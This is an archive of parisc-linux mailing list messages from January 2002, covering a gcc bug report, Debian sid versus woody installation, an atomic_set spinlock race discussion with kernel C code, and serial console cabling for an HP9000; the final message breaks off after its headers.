To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 12:11:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A6C7D482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jan 2002 12:11:08 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g0DJB4FN013361;
	Sun, 13 Jan 2002 14:11:04 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g0DJB3b2013360;
	Sun, 13 Jan 2002 14:11:03 -0500 (EST)
In-Reply-To: <20020113173658.739E6482A@dsl2.external.hp.com> from "Grant Grundler" at Jan 13, 2002 10:36:58 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13716

> phi 4369 wrote:
> > Where should I submit this?

File it in gnats:
<http://gcc.gnu.org/cgi-bin/gnatsweb.pl>.

The more information that you can provide the better.  One of the first
things to do is generate preprocessed source, then run cc1 under a
debugger to find where the segementation fault occurred.

> > since it happen on a palinux box I dunno if the
> > gcc maitainer does have such a box?

However, I don't yet have a working palinux system and neither does
Jeff Law as far as I am aware.  If the problem is generic, then with
luck it can be fixed fairly easily.  However, the odds are that the
problem is specific to palinux.

One of the problems that we face is that the deb version of gcc has
been quite heavily hacked for parisc-linux, and thus it isn't supportable.
I hope that we can get one of the standard releases or the mainline code
working as soon as possible.  There are still problems with gdb and
binutils on palinux (eg., passing floats in dynamic calls, etc).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "geezer" <geezer@snet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/50
Date: Sun, 13 Jan 2002 15:34:53 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <002f01c19c71$c1fe71c0$6401a8c0@downstairs>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_002C_01C19C47.D8C3B480"
X-Trace: ger.gmane.org 1416620961 1095 80.91.229.3 (22 Nov 2014 01:49:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:21 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>,
	<debian-hppa@lists.debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 13:35:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1.snet.net (mx1.snet.net [204.60.203.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73CA2482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jan 2002 13:35:01 -0700 (MST)
Original-Received: from downstairs (193.74.252.64.snet.net [64.252.74.193] (may be forged))
	by mx1.snet.net (8.12.1/8.12.1/SNET-smtp-1.1/D-1.1/O-1.1) with SMTP id g0DKZDwL020748;
	Sun, 13 Jan 2002 15:35:13 -0500 (EST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13717

This is a multi-part message in MIME format.

------=_NextPart_000_002C_01C19C47.D8C3B480
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

So the palinux-0.9-README file says "YOU MUST INSTALL 'sid'", blah, =
blah, blah...
I get "failed getting release file file:/instmnt/dists/sid/Release"
The woody one installs OK, but I am not sure how "crippled" I may be =
with it.
Any ideas?  What more can I tell you to help with the diagnosis?
Geezer

------=_NextPart_000_002C_01C19C47.D8C3B480
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2712.300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#f0e8d8>
<DIV><FONT face=3D"Comic Sans MS">So the palinux-0.9-README file says =
"YOU MUST=20
INSTALL 'sid'", blah, blah, blah...</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS">I get "failed getting release file=20
file:/instmnt/dists/sid/Release"</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS">The woody one installs OK, but I am =
not sure how=20
"crippled" I may be with it.</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS">Any ideas?&nbsp; What more can I tell =
you to=20
help with the diagnosis?</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS">Geezer</FONT></DIV></BODY></HTML>

------=_NextPart_000_002C_01C19C47.D8C3B480--




From - Thu Nov 08 21:21:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] atomic_t
Date: Sun, 13 Jan 2002 21:15:08 +0000
Lines: 72
Approved: news@gmane.org
Message-ID: <20020113211508.V9193@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620961 1096 80.91.229.3 (22 Nov 2014 01:49:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:21 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 14:15:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 435EB482B
	for <parisc-linux@parisc-linux.org>; Sun, 13 Jan 2002 14:15:11 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16Pry8-0003rc-00
	for parisc-linux@parisc-linux.org; Sun, 13 Jan 2002 21:15:08 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13718

Just thinking about atomic_set taking the spinlock to assure
exclusivity...  I thought we could eliminate it.

Here's the current code:

static __inline__ void __atomic_set(atomic_t *v, int i) 
{
        unsigned long flags;
        SPIN_LOCK_IRQSAVE(ATOMIC_HASH(v), flags);

        v->counter = i;

        SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(v), flags);
}

static __inline__ int __atomic_add_return(int i, atomic_t *v)
{
        int ret;
        unsigned long flags;
        SPIN_LOCK_IRQSAVE(ATOMIC_HASH(v), flags);

        ret = (v->counter += i);

        SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(v), flags);
        return ret;
}

The legitimate effect of having two processors do this at the same time
are:

atomic_t v = 3

case 1:

atomic_add_return(1, &v)
atomic_set(&v, 1)
result: v = 1, a_a_r returns 4.

or case 2:

atomic_set(&v, 1)
atomic_add_return(1, &v)
result: v = 2, a_a_r returns 2.

The spinlocks guarantee this behaviour, but let's look at what happens
if we remove the spinlock from atomic_set.  Now atomic_set is just an
assignment, and can occur at any point during atomic_add_ret.  We'll have
to drop to psuedo-assembler for this.

atomic_add_ret becomes:

a) lock
b) load v into register r
c) add 1 to r
d) store r to v
e) unlock
f) return r

atomic_set (store 1 to v) can appear to occur at any point -- the CPU
ref manual guarantees it won't cause any problems.

Before step b leads to case 2.  after step d leads to case 1.  between
steps b and d, it's as if the atomic_set _never_happened_.  It results
in v=4, a_a_r returns 4.

The question is whether any code relies on this behaviour.  It probably
does in some of the messier bits of networking :-(

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XC HowTo Mistakes
Date: Sun, 13 Jan 2002 14:54:39 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20020113215439.758B3482A@dsl2.external.hp.com>
References: <A9BCC5DC-083E-11D6-8D7B-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620962 1097 80.91.229.3 (22 Nov 2014 01:49:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 14:54:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 758B3482A; Sun, 13 Jan 2002 14:54:39 -0700 (MST)
In-Reply-To: Message from =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr> 
   of "Sun, 13 Jan 2002 17:00:28 +0100." <A9BCC5DC-083E-11D6-8D7B-0030656F07A2@esiee.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13719

=?ISO-8859-1?Q?Thibaut_VAR=C8NE?= wrote:
> I have noticed what seems to be a mistake in the XC HowTo on=20
> parisc-linux.org:

Thibaut,
Carlos O'Donell "owns" this page.
Could you make a patch for Carlos to review?

The source file is visible in CVS at :

	web/src/toolchain/PA-Linux-XC-HOWTO-04.x

(where web is the CVS repository).

If carlos thinks it's ok, then I can commit the change.
(delahaym or marteaut are also welcome to commit the patch).

thanks,
grant

ps. anyone is welcome to review and submit patches for the website
   just like the parisc-linux source tree.




From - Thu Nov 08 21:21:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: sid vs woody (was 715/50)
Date: Sun, 13 Jan 2002 15:07:23 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20020113220723.673A7482A@dsl2.external.hp.com>
References: <002f01c19c71$c1fe71c0$6401a8c0@downstairs>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620962 1100 80.91.229.3 (22 Nov 2014 01:49:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: "geezer" <geezer@snet.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 15:07:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 673A7482A; Sun, 13 Jan 2002 15:07:23 -0700 (MST)
In-Reply-To: Message from "geezer" <geezer@snet.net> 
   of "Sun, 13 Jan 2002 15:34:53 EST." <002f01c19c71$c1fe71c0$6401a8c0@downstairs> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13720

"geezer" wrote:
> So the palinux-0.9-README file says "YOU MUST INSTALL 'sid'", blah, =
> blah, blah...

Uhm...which release? URL or from an ISO?

> I get "failed getting release file file:/instmnt/dists/sid/Release"
> The woody one installs OK, but I am not sure how "crippled" I may be =
> with it.
> Any ideas?  What more can I tell you to help with the diagnosis?

For 0.9.3, woody is correct. You won't be very crippled at all.

With "sid", plan on hppa being broken occasionally. I expect "woody"
to be more stable - IMHO better for folks who just want to use debian.
Newer kernel (compared to 0.9.3 ISO) from ftp.parisc-linux.org
will work for either release.

For the adventerous, edit the /etc/apt/sources.list to point
to "sid" like this:

deb http://http.us.debian.org/debian sid main contrib non-free
deb http://non-us.debian.org/debian-non-US sid/non-US main contrib non-free

Then do "apt-get update" and "apt-get dist-upgrade".

grant



From - Thu Nov 08 21:21:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "newsgroup " <newsgroup.parisc@x-equipment.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How can i connect my pc as a terminal to a HP9000/867 G40
Date: Sun, 13 Jan 2002 14:17:22 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <200201131417.AA629473676@x-equipment.net>
Reply-To: <newsgroup.parisc@x-equipment.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620962 1103 80.91.229.3 (22 Nov 2014 01:49:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:22 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 15:13:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from x-equipment.net (host-209-153-212-251.doteasy.com [209.153.212.251])
	by dsl2.external.hp.com (Postfix) with ESMTP id ECF85482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jan 2002 15:13:56 -0700 (MST)
X-Mailer: <IMail v6.05>
X-IMSTrailer: __IMail_5__
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13721

ls,

I want to connect my pc as a terminal to a HP9000 so that I can (try to) install parisc-linux. 

Does anybody know if that is possible? 

And if so, is there someone who can give me de pin-out of the cable i need?

Thanks in advantage

Johan


__________________________________________________
D O T E A S Y - "Join the web hosting revolution!"
             http://www.doteasy.com



From - Thu Nov 08 21:21:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How can i connect my pc as a terminal to a HP9000/867 G40
Date: Sun, 13 Jan 2002 22:39:10 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20020113223910.W9193@parcelfarce.linux.theplanet.co.uk>
References: <200201131417.AA629473676@x-equipment.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620962 1106 80.91.229.3 (22 Nov 2014 01:49:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: newsgroup <newsgroup.parisc@x-equipment.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 15:39:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA923482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jan 2002 15:39:16 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16PtHS-0004gi-00; Sun, 13 Jan 2002 22:39:10 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200201131417.AA629473676@x-equipment.net>; from newsgroup.parisc@x-equipment.net on Sun, Jan 13, 2002 at 02:17:22PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13722

> I want to connect my pc as a terminal to a HP9000 so that I can (try to) install parisc-linux. 
> 
> Does anybody know if that is possible? 
> 
> And if so, is there someone who can give me de pin-out of the cable i need?

standard null-modem cable, but you'll have to do some work to get a
G40 running.  Same issues as E and K class.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] atomic_t
Date: Sun, 13 Jan 2002 21:09:09 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20020114040909.87321482A@dsl2.external.hp.com>
References: <20020113211508.V9193@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620963 1108 80.91.229.3 (22 Nov 2014 01:49:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 21:09:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 87321482A; Sun, 13 Jan 2002 21:09:09 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Sun, 13 Jan 2002 21:15:08 GMT." <20020113211508.V9193@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13723

Matthew Wilcox wrote:
> Just thinking about atomic_set taking the spinlock to assure
> exclusivity...  I thought we could eliminate it.

You are only looking at interactions between atomic_set
and atomic_add_return. Aren't there potentialially other
types of interactions with other atomic operations?
But I don't know. Alan Cox?

...
> Before step b leads to case 2.  after step d leads to case 1.  between
> steps b and d, it's as if the atomic_set _never_happened_.  It results
> in v=4, a_a_r returns 4.

I agree with the analysis.

But someone thought it was time to reset the counter. And if
it "never happened", then whoever is looking for 'v == 1' will
never see it.

> The question is whether any code relies on this behaviour.  It probably
> does in some of the messier bits of networking :-(

Even if that code doesn't exist today, it might exist in the future.
I don't want to bet on corner cases with the semantics.
Those types of bugs are hard to reproduce and hard to debug.


thanks,
grant



From - Thu Nov 08 21:21:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] atomic_t
Date: Mon, 14 Jan 2002 04:43:37 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20020114044337.B9193@parcelfarce.linux.theplanet.co.uk>
References: <20020113211508.V9193@parcelfarce.linux.theplanet.co.uk> <willy@debian.org> <20020114040909.87321482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620963 1113 80.91.229.3 (22 Nov 2014 01:49:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:23 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 21:43:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6FE51482B
	for <parisc-linux@parisc-linux.org>; Sun, 13 Jan 2002 21:43:44 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16PyyA-0000vC-00; Mon, 14 Jan 2002 04:43:38 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020114040909.87321482A@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Sun, Jan 13, 2002 at 09:09:09PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13724

On Sun, Jan 13, 2002 at 09:09:09PM -0700, Grant Grundler wrote:
> You are only looking at interactions between atomic_set
> and atomic_add_return. Aren't there potentialially other
> types of interactions with other atomic operations?
> But I don't know. Alan Cox?

Not on PA... look at <asm/atomic.h>.  There's only 3 primitives, all
other atomic ops are defined in terms of those.

> > Before step b leads to case 2.  after step d leads to case 1.  between
> > steps b and d, it's as if the atomic_set _never_happened_.  It results
> > in v=4, a_a_r returns 4.
> 
> I agree with the analysis.
> 
> But someone thought it was time to reset the counter. And if
> it "never happened", then whoever is looking for 'v == 1' will
> never see it.

It's a race though; they can't guarantee to see it anyway.

> Even if that code doesn't exist today, it might exist in the future.
> I don't want to bet on corner cases with the semantics.
> Those types of bugs are hard to reproduce and hard to debug.

yeah, wasn't planning on committing.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] atomic_t
Date: Sun, 13 Jan 2002 23:54:21 -0700 (MST)
Lines: 29
Approved: news@gmane.org
Message-ID: <200201140654.XAA06768@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
